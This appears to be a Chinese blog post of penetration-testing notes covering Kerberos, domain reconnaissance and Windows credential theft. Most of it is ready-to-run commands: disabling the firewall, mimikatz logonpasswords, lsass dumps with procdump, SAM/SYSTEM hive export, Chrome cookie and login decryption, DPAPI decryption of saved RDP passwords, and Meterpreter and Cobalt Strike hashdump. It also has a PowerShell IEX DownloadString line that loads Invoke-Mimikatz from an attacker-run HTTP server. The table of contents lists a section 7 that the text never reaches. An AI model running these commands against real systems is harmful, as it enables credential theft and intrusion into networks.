提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
- 一、Kerberos认证流程
-
- 1.Kerberos认证协议的基础概念
-
- [1.1 票据(Tikket):](#1.1 票据(Tikket):)
- [1.2 AD(Account Database):](#1.2 AD(Account Database):)
- [1.3 KDC(Key Distribution Center):](#1.3 KDC(Key Distribution Center):)
- [1.4 AS(Authentication Server):](#1.4 AS(Authentication Server):)
- [1.5 TGS(Ticket Granting Server):](#1.5 TGS(Ticket Granting Server):)
- [1.6 TGT(Ticket Granting Ticket):](#1.6 TGT(Ticket Granting Ticket):)
- 注意:
- 2.Kerbreros认证流程
- 二、工作组信息收集
-
- [2.1 什么是内网渗透?](#2.1 什么是内网渗透?)
- [2.2 内网基础环境分析](#2.2 内网基础环境分析)
-
- [2.2.1 内网基础环境判断:](#2.2.1 内网基础环境判断:)
- [2.2.2 分析机器所处位置区域:](#2.2.2 分析机器所处位置区域:)
- [2.2.3 分析机器的角色:](#2.2.3 分析机器的角色:)
- [2.2.4 什么工作组?](#2.2.4 什么工作组?)
- [2.2.5 本机信息收集](#2.2.5 本机信息收集)
- [2.2.6 内网网段信息收集](#2.2.6 内网网段信息收集)
- [2.2.7 用户信息收集](#2.2.7 用户信息收集)
- [2.2.8 系统信息收集](#2.2.8 系统信息收集)
- [2.2.9 网络信息收集](#2.2.9 网络信息收集)
- [2.2.10 防火墙信息收集](#2.2.10 防火墙信息收集)
- [2.2.11 代理信息收集](#2.2.11 代理信息收集)
- [2.2.12 Wifi密码信息收集](#2.2.12 Wifi密码信息收集)
- [2.2.13 回收站内容获取](#2.2.13 回收站内容获取)
- [2.2.14 Chorme历史记录和Cookie获取](#2.2.14 Chorme历史记录和Cookie获取)
- [2.2.15 MSF信息收集](#2.2.15 MSF信息收集)
- 三、域内信息收集
-
- [3.1 什么是内网域?](#3.1 什么是内网域?)
- [3.2 域和工作组的区别](#3.2 域和工作组的区别)
- [3.3 域内信息收集命令](#3.3 域内信息收集命令)
- [3.4 内网存活探测](#3.4 内网存活探测)
-
- [3.4.1 Netbios协议探测](#3.4.1 Netbios协议探测)
- [3.4.2 ICMP协议探测](#3.4.2 ICMP协议探测)
- [3.4.3 UDP协议探测](#3.4.3 UDP协议探测)
- [3.4.4 ARP协议探测协议](#3.4.4 ARP协议探测协议)
- [3.4.5 SMB协议探测](#3.4.5 SMB协议探测)
- [3.4.6 Windows Hash简介](#3.4.6 Windows Hash简介)
-
- [3.4.6.1 Windows Hash值的加密解密](#3.4.6.1 Windows Hash值的加密解密)
- [3.4.6.2 Windows本地认证](#3.4.6.2 Windows本地认证)
- 四、windows密码凭证获取
-
- [4.1 获取Windows密码凭证的目的](#4.1 获取Windows密码凭证的目的)
-
- [4.1.1 便于横向和纵向渗透](#4.1.1 便于横向和纵向渗透)
- [4.1.2 最大化利用权限和扩大战果](#4.1.2 最大化利用权限和扩大战果)
- [4.1.3 集中管理和获取更多用户信息](#4.1.3 集中管理和获取更多用户信息)
- [4.2 凭证获取方式](#4.2 凭证获取方式)
-
- [4.2.1 Mimikatz](#4.2.1 Mimikatz)
- [4.2.2 powershell脚本](#4.2.2 powershell脚本)
-
- [4.2.2.1 Powershell远程加载mimikatz脚本:](#4.2.2.1 Powershell远程加载mimikatz脚本:)
- [4.2.2.2 通过powershell加载Get-PassHashes脚本:](#4.2.2.2 通过powershell加载Get-PassHashes脚本:)
- [4.2.3 WCE](#4.2.3 WCE)
- [4.2.4 Pwddump7](#4.2.4 Pwddump7)
- [4.2.5 Ophcrack](#4.2.5 Ophcrack)
- [4.2.6 Procdump+Mimikatz](#4.2.6 Procdump+Mimikatz)
- [4.2.7 注册表导出hash](#4.2.7 注册表导出hash)
- [4.2.8 LaZagne (非常牛)](#4.2.8 LaZagne (非常牛))
- [4.2.9 Meterpreter获取Hash(MSF相关模块获取hash值)](#4.2.9 Meterpreter获取Hash(MSF相关模块获取hash值))
-
- [4.2.9.1 Hashdump:](#4.2.9.1 Hashdump:)
- [4.2.9.2 smart_hashdump:](#4.2.9.2 smart_hashdump:)
- [4.2.9.3 kiwi:](#4.2.9.3 kiwi:)
- [4.2.10 Cobaltstrike获取Hash](#4.2.10 Cobaltstrike获取Hash)
- 五、获取本地系统的RDP连接记录和密码
-
- [5.1 powershell脚本获取RDP连接记录](#5.1 powershell脚本获取RDP连接记录)
- [5.2 本地RDP连接密码解密](#5.2 本地RDP连接密码解密)
- [5.3 mimikatz解密密码文件](#5.3 mimikatz解密密码文件)
- 六、PPTP口令获取
-
- [6.1 PPTP是什么?](#6.1 PPTP是什么?)
- 七、域内用户凭据密码获取
-
- [7.1 Volume shadow Copy](#7.1 Volume shadow Copy)
- [7.2 Ntdsutil](#7.2 Ntdsutil)
-
- 7.2.1.查询当前系统的快照
- [7.2.2. 创建快照:](#7.2.2. 创建快照:)
- 7.2.3.挂载快照:
- 7.2.4.复制相应的NTDS.dit文件:
- 7.2.4.5.卸载快照:
- 7.2.4.6.删除快照:
- 7.2.4.7.非交互式创建快照
- [7.3 VssAdmin](#7.3 VssAdmin)
- [7.4 Ninjacopy](#7.4 Ninjacopy)
- [7.5 解密ntds.dit](#7.5 解密ntds.dit)
-
- [7.5.1 Secretsdump](#7.5.1 Secretsdump)
- [7.5.2 NtdsAudit (没用过)](#7.5.2 NtdsAudit (没用过))
- [7.5.3 mimikatz](#7.5.3 mimikatz)
-
- [7.5.3.1 通过dcsync直接获取域内所有用户hash](#7.5.3.1 通过dcsync直接获取域内所有用户hash)
- [7.5.3.2 获取单个用户的详细信息:](#7.5.3.2 获取单个用户的详细信息:)
- [7.5.3.3 查看所有用户的所有详细信息:](#7.5.3.3 查看所有用户的所有详细信息:)
一、Kerberos认证流程
Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强
大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网
络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。
在以上情况下, Kerberos 作为一 种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执
行认证服务的。
参与域认证的三个角色!
Client
Server
Koc(Key Distribution Center)= Dc(Domain Controller)= Ap (Account Database) + A
(Authenication Seryice)+ TGS (Ticket Granting Service)
从物理层面看,AD与 AS,TGS,KDC均为域控制器(DomainController)。
1.Kerberos认证协议的基础概念
1.1 票据(Tikket):
是网络对象互相访问的凭证。
1.2 AD(Account Database):
存储域中所有用户的用户名和对应的NTLM Hash,可以理解为域中的 SAM 数据库, KDC可以从AD中提
取域中所有用户的NTLM Hash这是 Kerberos、协议能够成功实现的基础
1.3 KDC(Key Distribution Center):
密钥分发中心,负责管理票据、认证票据、分发票据,里面包含两个服务:AS和TGS
1.4 AS(Authentication Server):
身份认证服务,为Client生成TGT的服务,也用来完成对Client的身份验证
1.5 TGS(Ticket Granting Server):
票据授予服务,为 clint 生成允许对某个服务访问的 ticket ,就是Client从AS那里拿到TGT之后,来TGS这
里再申请对某个特定服务或服务器访问的Ticket,只有获取到这个Ticket,client才有权限去访问对应的
服务,该服务提供的票据也称为 TGS 或者叫白银票据
1.6 TGT(Ticket Granting Ticket):
看英文名就知道,用来生成Ticket 的Ticket,由身份认证服务授予的票据(黄金票据),用于身份认证,存
储在内存,默认有效期为10小时。
注意:
1、Client密钥、TGS 密钥和Service密钥 均为对应用户的NTLM Hash
2、TGS 密钥 = KDC Hash = krbtgt 用户的NTLM Hash
3、Server 和Service可以当作同一个东西,就是Client 想要访问的服务器或者服务
4、Client/(TGS/Server) Sessionkey 可以看作客户端与 TGS 服务和尝试登陆的 Server 之间会话时用来
加密的密钥,而(Client/TGs/Service)密钥(上面提到的三个实际为NTLM Hash 的密钥)是用来加密会话密
钥的密钥,为了保证会话密钥的传输安全这些加密方式均为对称加密
5、参与认证的三个角色的NTLM Hash 是三个密钥,这三个NTLM Hash的唯一作用是确保会话密钥
Sessionkey 的安全传输
2.Kerbreros认证流程
Client向KDC发起服务请求,希望获取访问Server的权限。KDC得到了这个消息,首先得判断Client是否
是可信赖的,也就是从AD数据库中寻找该用户是否可用来登录。这就是AS服务完成的工作,成功后,AS
返回TGT给Client。
CLient得到了TGT后,继续向KDC请求,希望获取访问Server的权限。KDC又得到了这个消息,这时候通
过Client 消息中的TGT,判断出了Client拥有了这个权限,给了Client访问Server的权限Ticket。(TGS服
务的任务)
Client得到Ticket后便可以使用这个TicKet成功访问Server,但是这个Ticket只能用来访问这个Server,
如果要访问其他Server需要向KDC重新申请。

二、工作组信息收集
2.1 什么是内网渗透?
在拿到webshell的时候,想办法获得系统信息拿到系统权限,进入到网络系统内部之后收集内部的各种信息,获取内部网络有价值的人员、资产信息!
内网渗透的第一步,内网信息收集!
2.2 内网基础环境分析
2.2.1 内网基础环境判断:
IP、网关、DNS、是否能连通外网、网络连接及端口、本机host文件、机器的代理、是否存在域内、域名是什么
2.2.2 分析机器所处位置区域:
DMZ区、办公区、生产区、核心DB等等
2.2.3 分析机器的角色:
普通WEB服务器、开发服务器、文件服务器、代理服务器、DNS服务器、数据存储服务器等
2.2.4 什么工作组?
工作组(Work Group):最常见最简单最普通的资源管理模式,就是将不同的电脑或者设备,按照不同的功能分别列入不同的组以方便管理。(例如:大学高校、网吧等)
1、默认情况下所有计算机都处在名为WORKGROUP的工作组中
2、工作组资源管理模式适合于网络中计算机不多,对管理要求不严格的情况。
3、它的建立步骤简单,使用起来也很好上手。大部分中小公司都采取工作组的方式对资源进行权限分配和目录共享。
4、相同组中的不同用户通过对方主机的用户名和密码可以査看对方共享的文件夹,默认共享的是 Users目录。
5、不同组的不同用户通过对方主机的用户名和密码也可以查看对方共享的文件夹。
6、所以工作组并不存在真正的集中管理作用,工作组里的所有计算机都是对等的,也就是没有服务器和客户机之分的。
2.2.5 本机信息收集
操作系统、权限、内网IP地址段、杀软、端口、服务、补丁情况、网络环境情况、共享、会话等。
如果是域内主机,那么操作系统、应用软件、补丁、服务、杀软一般都是批量安装的。
2.2.6 内网网段信息收集
只有找到不同网段才能进行横向渗透,否则只能纵向提权
1、内网网段扫描
2、文件共享、FTP连接记录、浏览器访问记录、mstsc连接记录
3、渗透路由器、交换机

2.2.7 用户信息收集
查看本机用户列表
net user
获取本地管理员信息
net localgroup administrators
查看当前在线用户
quser
query user
query userl qwinsta
查当前用户在目标系统中的具体权限
whoami /all
查看当前权限
whoami && whoami /priv
查当前机器中所有的组名,了解不同组的职能,如,IT,HR,ADMIN,FILE
net localgroup
2.2.8 系统信息收集
查询网络配置信息。进行IP地址段信息收集
ipconfig /all
查询操作系统及软件信息
#英文系统:systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
#中文系统:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
查看当前系统版本
wmic OS get Caption,CSDVersion,OSArchitecture,Version
查询系统体系结构
echo %PROCESSOR_ARCHITECTURE%
查询本机服务信息
wmic service list brief
查看安装的软件的版本、路径
wmic product get name, version
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"
查询进程信息
tasklist
wmic process list brief
查看启动程序信息
wmic startup get command,caption
查看计划任务
# win10之前的系统:at
# win10之后的系统:schtasks /query /fo LIST /v
查看主机开机时间
net statistics workstation
查询端口列表,本机开放的端口所对应的服务和应用程序
netstat -ano
netstat -ano | findstr 445
查看远程连接信息
cmdkey /l
查看补丁列表
systeminfo | findstr KB
查看补丁的名称、描述、ID、安装时间等
wmic qfe get Caption,Description,HotFixID,InstalledOn
查看杀软
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
查看本地密码策略
net accounts
查看hosts文件:
Linux:
cat /etc/hosts
Windows:
type c:\Windows\system32\drivers\etc\hosts
查看dns缓存
ipconfig /display
2.2.9 网络信息收集
查看本机所有的tcp,udp端口连接及其对应的pid
netstat -ano
查看本机所有的tcp,udp端口连接,pid及其对应的发起程序
netstat -anob
查看路由表和arp缓存
route print
arp -a
查看本机共享列表和可访问的域共享列表(445端口)
net share
wmic share get name,path,status
磁盘映射(IPC连接)
#在内网信息收集过程中,如果能过收集到一些相关的凭据信息(账号密码)就可以凭借如下命令去向对方发起
连接
net use k:\\目标IP地址\c$
net use k:\\192.168.3.31\c$
net use k: \\192.168.3.31\c$ "admin!@#45" /user:"webadmin"
2.2.10 防火墙信息收集
关闭防火墙(Windows Server 2003 以前的版本)
netsh firewall set opmode disable
关闭防火墙(Windows Server 2003 以后的版本)
netsh advfirewall set allprofiles state off
查看防火墙配置(netsh命令也可以用作端口转发)
netsh firewall show config
查看配置规则
netsh advfirewall firewall show rule name=all
2.2.11 代理信息收集
REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet
Settings" /v ProxyServer
REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet
Settings" /v AutoConfigURL
2.2.12 Wifi密码信息收集
查看wifi连接记录
netsh wlan show profile
查看具体的wifi的密码
netsh wlan show profile name="302" key=clear
2.2.13 回收站内容获取
FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:\$Recycle.Bin\%d\ ^>%c.txt
目录路径:C:\$Recycle.Bin


$I 开头的文件保存的是路径信息
$R开头的文件保存的是文件内容
2.2.14 Chorme历史记录和Cookie获取
浏览器存放cookie值和路径:
%localappdata%\google\chrome\USERDA~1\default\LOGIND~1
%localappdata%\google\chrome\USERDA~1\default\cookies
chrome的用户信息,保存在本地文件为sqlite数据库格式
调用mimikatz工具:
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\User Data\Default\Login Data /unprotect" exit
调用mimikatz工具:
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\Google\Chrome\User Data\Default\Network\Cookies /unprotect" exit



2.2.15 MSF信息收集
当取得一条MSF会话之后,可以直接调用MSF中的相关信息收集的模块进行自动化的信息收集
run scraper

在 /root/.msf4/logs/scripts/scraper查看结果

run winenum

/root/.msf4/logs/scripts/winenum

三、域内信息收集
3.1 什么是内网域?
域(domain):
域是一个有安全边界的计算机集合。将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域,域是组织与存储资源的核心管理单元,在域中,至少有一台域控制器,域
控制器中保存着整个域的用户帐号和安全数据库
3.2 域和工作组的区别
具体介绍:https://mp.weixin.qq.com/s/5wgCGHrE5MNsKvN9rChBsw

内网域的结构
单域:网络环境中只有一个域。
父域子域:为了满足某些需求,需要在一个域中划分出多个域。被划分的域叫做父域,划分出来的分支
叫子域。
域树:多个域通过建立信任关系组成的一个域集合。
域林:由一个或多个没有形成连续名字空间的域树组成的集合。
域控(DC):"域"模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为"域控制器(Domain Controller,简写为DC)"。
内网域用户的特性
1、域成员计算机在登录的时候可以选择登录到域中或此计算机。
2、登录到域中的时候,身份验证是采用kerberos协议在域控制器上进行的。
3、登录到域成员的主机都受到域控的管理。域控制器可以登录域内任意一台主机
4、登录到本地计算机的时候,是采用SAM来进行NTLM验证的。
5、域内用户的所有的行为和操作都是受到域控主机的管理。
(用户登录、修改密码、安装软件、上网行为......)
域环境的特性
帐号集中管理:所有帐号均存在服务器上,方便对帐号的重命名/重置密码。
软件集中管理:统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。
环境集中管理:利用AD可以统一客户端桌面,IE,TCP/IP等设置。
增强安全性:统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统一管理。
更可靠:更少的宕机时间。如:利用AD控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定,更可靠,宕机时间更少。
3.3 域内信息收集命令
查询域
net view /domain
查询域内的所有计算机
net view /domain:mingy
查询域内所有用户组(Enterprise Admins组权限最大)
net group /domain
查看域管理员的用户组
net group "domain admins" /domain
查看域内所有账号
net user /domain
查看域密码策略
net accounts /domain
查询指定用户的详情信息
net user boss /domain
查看当前登录域
net config workstation
查看时间可以找到域控
net time /domain
登录本机的域管理员
net localgroup administrators /domain
查看当前域内的所有机器,dsquery工具一般在域控上才有
dsquery computer
查看当前域中的所有账户名
dsquery user
查看当前域内的所有组名
dsquery group
查看到当前域所在的网段,结合nbtscan使用
dsquery subnet
查看域内信任关系
nltest /domain_trusts
查看域控制器的机器名
nltest /DCLIST:GOD
查看域内邮件服务器
nslookup -q=mx god.com
查看域内DNS服务器
nslookup -q=ns god.cdm
查看域内的主域控,仅限win2008及之后的系统
netdom query pdc
定位域控
net group
net group "domain controllers" /domain
ipconfig
ipconfig /all
3.4 内网存活探测
3.4.1 Netbios协议探测
1.netbios简介:
NetBIOS(网络基本输入输出系统)是一种应用程序接口(API),最初由Sytec Inc.为IBM在1983年开发。它提供了一种在局域网内不同计算机上运行的程序之间进行通信和数据共享的方法。NetBIOS允许计算机通过WINS服务、广播或Lmhost文件等多种方式将NetBIOS名称解析为相应的IP地址,使得几乎所有的局域网都在NetBIOS协议的基础上工作。此外,NetBIOS也是计算机的标识名称,主要用于局域网内计算机的互访。
nmap扫描
nmap -sU -T4 --script nbstat.nse -p137 192.168.50.0/24
msf扫描(对应的模块)
use auxiliary/scanner/netbios/nbname

Nbtscan:
工具下载地址:http://www.unixwiz.net/tools/nbtscan.html
使用nbtscan扫描本地或远程TCP/IP网络上开放的NetBI0S名称服务器
输出的结果第一列为IP地址,第二列为机器名和所在域的名称,第三列即最后一列为及其所开启的服务的列表
Windows:
nbtscan.exe --m 10.0.0.0/24
nbtstat --n

linux:
nbtscan -r 10.0.0.0/24

3.4.2 ICMP协议探测
ICMP 协议是"Internet Control Message Protocol"(Internet 控制消息协议)的缩写,是
TCP/IP 协议族的一个子协议,用于在 IP 主机、路由器之间传递控制消息。
控制消息的作用:
控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽
然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
常见的应用
我们在网络中经常会使用到 ICMP 协议,只不过我们觉察不到而已。比如我们经常使用的用于
检查网络通不通的 Ping 命令,这个"Ping"的过程实际上就是 ICMP 协议工作的过程。还有其他的网络命令如跟踪路由的 Tracert命令也是基于 ICMP 协议的。
CMD下扫描内网C端存活主机
命令行直显:
for /l %i in (1,1,255) do @ ping 192.168.50.%i -w 1 -n 1|find /i "ttl="

输出内容导出:
@for /l %i in (1,1,255) do @ping -n 1 -w 40 192.168.50.%i & if errorlevel 1 (echo
10.0.0.%i>>c:\a.txt)else (echo 10.0.0.%i >>c:\b.txt)

3.4.3 UDP协议探测
UDP 协议的基本概念
UDP 是 User Datagram Protocol 的简称,中文名是用户数据报协议,是 OSI 参考模型中一种
无连接的传输层协议,提供面向事务的简单不可靠信息传送服务。
UDP 协议的优点
传输速度快 比 TCP 稍安全,没有 TCP 的握手、确认、窗口、重传、拥塞控制等机制,是一个
无状态的传输协议,所以在传输数据时非常快。
资源消耗少 程序结构简单,对系统资源的要求少。
UDP 协议的缺点
不可靠 不稳定,容易丢包,不保证数据包的顺序、不重复和不丢失
nmap扫描
nmap -sU -T4 -max-retries 1 192.168.50.0 -p 500

MSF扫描:
use auxiliary/scanner/discovery/udp_probe
use auxiliary/scanner/discovery/udp_sweep


Unicornscan扫描
linux下推荐使用:
unicornscan -mU 10.10.10.0/24
3.4.4 ARP协议探测协议
ARP 协议的基本概念
ARP(Address Resolution Protocol,地址解析协议)是将 IP 地址解析为以太网的 MAC 地址
(或者称为物理地址)的协议。在局域网中,当主机或其他网络设备有数据要发送给另一个主机或备
时,它必须知道对方的网络层地址(即 IP 地址)。但仅有 IP 地址是不够的,因为 IP 数据报文必须封装成帧才能通过物理网络发送,发送站还必须有接收站的物理地址,所以需要一个从 IP 地址到物理地址的映射,ARP 就是实现这个功能的协议。
ARP 原理及流程
在任何时候,一台主机有 IP 数据报文发送给另一台主机,它都要知道接收方的逻辑(IP)地
址。ARP 协议可以接收来自 IP 协议的逻辑地址,将其映射为相应的物理地址,然后把物理地址递交给数据链路层。
nmap扫描:
nmap -sn -PR 192.168.50.0/24

MSF扫描:
use auxiliary/scanner/discovery/arp_sweep

arp-scan(linux):
项目地址:https://linux.die.net/man/1/arp-scan
arp-scan -interface=eth0 --localnet

arp-scan(windows)
(非官方)项目地址:
https://github.com/QbsuranAlang/arp-scan-windows-/tree/master/arp-scan
arp-scan.exe -t 192.168.50.0/24

3.4.5 SMB协议探测
SMB协议的基本概念
SMB 是 Server Message Block 的简写,这个协议用于共享文件、共享打印机、共享串口等用
途。
SMB 协议的作用
我们之所以能够在 windows 的网络邻居下访问一个域内的其他机器,就是通过这个协议实现
的。目前绝大多数的 PC 上都在运行这一协议,windows 系统都充当着 SMB 协议的客户端和服务器,所以 SMB 是一个遵循客户机服务器模式的协议。SMB 服务器负责通过网络提供可用的共享资源给 SMB 客户机,服务器和客户机之间通过 TCP/IP 协议、或者 IPX 协议、或者是 NetBEUI 进行连接
SMB 协议的端口
SMB 协议是基于 TCP-NETBIOS 下的,一般端口使用为 139,445
MSF扫描
use auxiliary/scanner/smb/smb_version

MSF中的portscan模块
use auxiliary/scanner/portscan/syn

F-NAScan
项目地址:https://github.com/ywolf/F-NAScan
-h 必要参数,支持IP、IP段、IP范围指定、IP列表文件。
-p 指定要扫描端口列表,多个端口使用,隔开例如:2223,80,3306。
-m 指定线程数,默认100线程
-t 指定HTTP请求超时时间,默认为10秒,端口扫描超时为值的1/2
-n 不进行存活探测(ICMP)直接进行扫描。

3.4.6 Windows Hash简介
什么是Windows Hash?
所谓哈希(hash),就是使用一种加密函数进行计算后的结果。这个加密函数对一个任意长度的
字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串。
Windows 系统使用两种方法对用户的密码进行哈希处理,分别是 LAN Manager(LM)哈希和 NT LAN
Manager(NTML)哈希。现在已经有了更新的 NTLMv2 以及 Kerberos 验证体系。Windows 的系统密码 hash
默认情况下一般由两个部分组成:第一部分是 LM-hash,第二部分是 NTLM-hash。WINDOWS 系统下 hash
密码格式为:用户名称:RID:LM-HASH 值:NT-HASH 值
Hash分类
LM哈希和NTML哈希
LM哈希密码最大长度为14,
密码长度超过14位使用NTLM哈希

Windows系统下Hash密码格式: 用户名称:RID:LM-HASH值:NT-HASH值
使用以下命令可查看当前系统用户的SID值等信息:
whoami /all
wmic useraccount
wmic useraccount list brief


关于Windows Hash的相关介绍:
3.4.6.1 Windows Hash值的加密解密
python语言:
pip3 install passlib
from passlib.hash import nthash
print(nthash.hash('hello'))


3.4.6.2 Windows本地认证
路径:C:\Windows\System32\config
1.用户输入密码
2.系统收到密码后将用户输入的密码计算成NTLM Hash
3.与sam数据库(%SystemRoot%system32\config\sam)中该用户的哈希比对
4.匹配则登陆成功,不匹配则登陆失败
NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中。
本地认证中用来处理用户输入密码的进程为lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与sam进行比对,我们使用mimikatz来获取的明文密码,便是在这个进程中读取到的
四、windows密码凭证获取
4.1 获取Windows密码凭证的目的
4.1.1 便于横向和纵向渗透
在做内网渗透时,如果能得到远程的 RDP 连接密码,做起横向渗透或者纵向渗透会更加容易拿
到 shell
4.1.2 最大化利用权限和扩大战果
在攻防场景下,红队人员拿下一台终端或服务器后,为了最大化利用权限,扩大战果,密码抓
取必不可少。
4.1.3 集中管理和获取更多用户信息
和常规 Windows 电脑不同,域中的账户密码采用集中管理,一旦拿到域控,就可以拿到域中
所有用户的口令
4.2 凭证获取方式
4.2.1 Mimikatz
mimikatz For Win10下载:https://github.com/gentilkiwi/mimikatz/releases
由于debug模式需要管理员的身份才能运行,因此我们调用mimikatz工具是需要使用管理员的权限!
获取hash值:
privilege::debug
token::elevate
lsadump::sam

获取明文密码:
privilege::debug
sekurlsa::logonpasswords

4.2.2 powershell脚本
什么是powershell?
https://blog.csdn.net/qq_57728300/article/details/139849008
powershell脚本的下载地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1
https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/tools/Invoke-Mimikat
z.ps1
kali开启http服务:
python3 -m http.server
4.2.2.1 Powershell远程加载mimikatz脚本:
IEX (New-Object Net.WebClient).DownloadString('http://192.168.50.2:8000/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds

4.2.2.2 通过powershell加载Get-PassHashes脚本:
脚本地址:https://github.com/doubteventhis/Get-PassHashes_not_really
IEX (new-object net.webclient).downloadstring('http://192.168.50.2:8000/Get-PassHashes.ps1');Get-PassHashes

4.2.3 WCE
WCE:Windows Credentials Editor
WCE是跟mimikztz齐名的一款hash管理工具
官网地址:https://www.ampliasecurity.com/research.html
32位下载:https://www.ampliasecurity.com/research/wce_v1_42beta_x32.zip
64位下载:https://www.ampliasecurity.com/research/wce_v1_42beta_x64.zip
历史版本下载:https://www.ampliasecurity.com/research/windows-credentials-editor/
wce.exe

WCE使用说明:

4.2.4 Pwddump7
这款工具可以读取出当前系统的各个用户的密码hash(包括LM和NTLM)。
在命令行输入Pwddump7.txt就可以读取Hhash并显示出来,也可以保存到一个文件中
Pwddump7.exe > pass.txt
4.2.5 Ophcrack
如果网站无法破解出hash值,我们可以使用ophcrack工具配合彩虹表自动破解
工具下载:https://ophcrack.sourceforge.io/
彩虹表:
https://ophcrack.sourceforge.io/tables.php
http://project-rainbowcrack.com/table.htm
相关的学习文章:
https://blog.csdn.net/m0_37438418/article/details/80157535
https://mp.weixin.qq.com/s/9gayFFv8i5IkiQWVz_rXNQ

4.2.6 Procdump+Mimikatz
Procdump下载:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
Procdump lsass 进程导出:
For 32bits: procdump.exe -accepteula -ma lsass.exe lsass.dmp
For 64bits: procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

然后使用mimikatz还原密码:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

4.2.7 注册表导出hash
导出注册表值的命令:
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv
导出后可以使用cain导入system.hiv、security.hiv获取缓存中的明文信息。
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit
secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL


4.2.8 LaZagne (非常牛)
项目地址:
https://github.com/AlessandroZ/LaZagne


4.2.9 Meterpreter获取Hash(MSF相关模块获取hash值)
先攻陷的 Windows 靶机

4.2.9.1 Hashdump:
从已攻陷的 Windows 主机中自动化提取密码哈希
use post/windows/gather/hashdump (system权限的meterpreter)
set session 1
exploit (//结果保存在tmp目录下)

权限不够,需要提权
getsystem



成功
4.2.9.2 smart_hashdump:
use post/windows/gather/smart_hashdump
set session 1
exploit


4.2.9.3 kiwi:
# 提取所有凭据(SAM哈希、明文密码等)
meterpreter > creds_all
# 提取SAM数据库哈希(替代samdump::hashes)
meterpreter > hashdump
# 提取LSA秘密(没成功)
meterpreter > lsa_secrets


4.2.10 Cobaltstrike获取Hash
hashdump
logonpasswords
mimikatz sekurlsa::logonpasswords



五、获取本地系统的RDP连接记录和密码
获取RDP连接( remote desktop )在获取内网机器管理员权限后,查看是否有保存到本地的RDP连接密码。对保存带本地的RDP连接密码进行解密。解密成功后可使用此凭据继续横向移动。
5.1 powershell脚本获取RDP连接记录
下载脚本地址:
GitHub - 3gstudent/List-RDP-Connections-History: Use powershell to list the RDP Connections
History of logged-in users or all users
powershell --exec bypass .\ListAllUsers.ps1

使用此脚本可以收集当前系统的RDP的连接记录,由此可以判断出当前目标网络的结构。如果能够使用工具读取到凭据信息的话,那么可以直接借此连接RDP,从而获取一些数据和信息
5.2 本地RDP连接密码解密
查看本地连接过的目标机器:
# 查RDP最近连接的快捷记录(补充)
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /v MRU0

查看本地用户此目录下是否存有RDP密码文件:
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

当本地用户的管理员为了方便自己的管理,在使用远程连接的时候勾选了保存密码的选项时,那么他所连接过的计算机的记录会在本地保存。因此我们可以使用命令去进行读取**

查看保存在本地的远程主机信息:
cmdkey /list

5.3 mimikatz解密密码文件
管理员身份启动mimikatz:
privilege::debug
dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\F10134BFB3044A553B159E0A1B62C3B4

此处需要记录下guidMasterKey的值,待会要通过guidMasterKey找对应的Masterkey。
根据guidMasterKey找到对应的Masterkey:
sekurlsa::dpapi

通过Masterkey解密pbData数据,拿到明文RDP连接密码:
dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\F10134BFB3044A553B159E0A1B62C3B4 /masterkey:13edaee707282fd97b68260b67eef3e5250632b90d7b6043bb8184edfb39c58a518bea1f1fff93de1e9e0206259cda70c713a7267cf90da548127b49a9dbe144

成功拿到远程明文密码

六、PPTP口令获取
6.1 PPTP是什么?
PPTP协议(Point-to-Point Tunneling Protocol)是一种用于创建虚拟私人网络(VPN)的协
议,它允许远程用户通过公共网络安全地访问私人网络
PPTP点对点隧道协议,可以使远程用户通过拨入ISP访问企业内网。
在渗透测试中,如果获得了用户的PPTP口令,就能远程拨入内网,做进一步渗透需要拿到目标
系统管理员权限

获取PPTP配置信息:
type %APPDATA%\\Microsoft\\Network\\Connections\\Pbk\\rasphone.pbk
查看所有用户共享的 VPN 配置,执行:
type C:\ProgramData\Microsoft\Network\Connections\Pbk\rasphone.pbk
可获得PPTP连接的配置信息,包括服务器IP,不包含连接用户名和口令

